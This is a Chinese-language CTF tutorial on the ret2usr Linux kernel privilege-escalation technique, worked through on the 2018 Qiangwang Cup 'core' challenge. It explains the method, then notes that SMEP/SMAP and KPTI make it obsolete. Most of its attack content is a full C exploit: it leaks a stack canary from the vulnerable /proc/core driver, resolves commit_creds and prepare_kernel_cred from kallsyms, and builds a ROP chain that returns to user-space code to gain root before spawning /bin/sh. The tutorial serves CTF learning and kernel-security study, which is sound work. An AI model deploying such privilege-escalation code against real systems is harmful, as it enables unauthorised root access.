ret2usr(已过时)¶
概述¶
在【未】开启SMAP/SMEP保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问/执行用户空间的数据,因此 ret2usr
这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。
通常 CTF 中的 ret2usr 还是以执行commit_creds(prepare_kernel_cred(NULL))
进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可。
✳ 对于开启了SMAP/SMEP保护
的 kernel 而言,内核空间尝试直接访问用户空间会引起 kernel panic,我们将在下篇讲述其绕过方式。
例题:2018 强网杯 - core¶
具体的这里就不再重复分析了,由于其未开启 smap/smep 保护,故可以考虑在用户地址空间中构造好对应的函数指针后直接 ret2usr 以提权,我们只需要将代码稍加修改即可。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}
void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t offset = commit_creds - 0xffffffff8109c8e0;
// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}
- 通过读取
/tmp/kallsyms
获取commit_creds
和prepare_kernel_cred
的方法相同,同时根据这些偏移能确定 gadget 的地址。 - leak canary 的方法也相同,通过控制全局变量
off
读出 canary。 - 与 kernel rop 做法不同的是 rop 链的构造
- kernel rop 通过 内核空间的 rop 链达到执行
commit_creds(prepare_kernel_cred(0))
以提权目的,之后通过swapgs; iretq
等返回到用户态,执行用户空间的system("/bin/sh")
获取 shell - ret2usr 做法中,直接返回到用户空间构造的
commit_creds(prepare_kernel_cred(0))
(通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是ring 0
特权,因此可以正常运行。之后也是通过swapgs; iretq
返回到用户态来执行用户空间的system("/bin/sh")
- kernel rop 通过 内核空间的 rop 链达到执行
从这两种做法的比较可以体会出之所以要 ret2usr
,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。
KPTI 与 ret2usr¶
对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着实际上 ret2usr 已经是过去式了。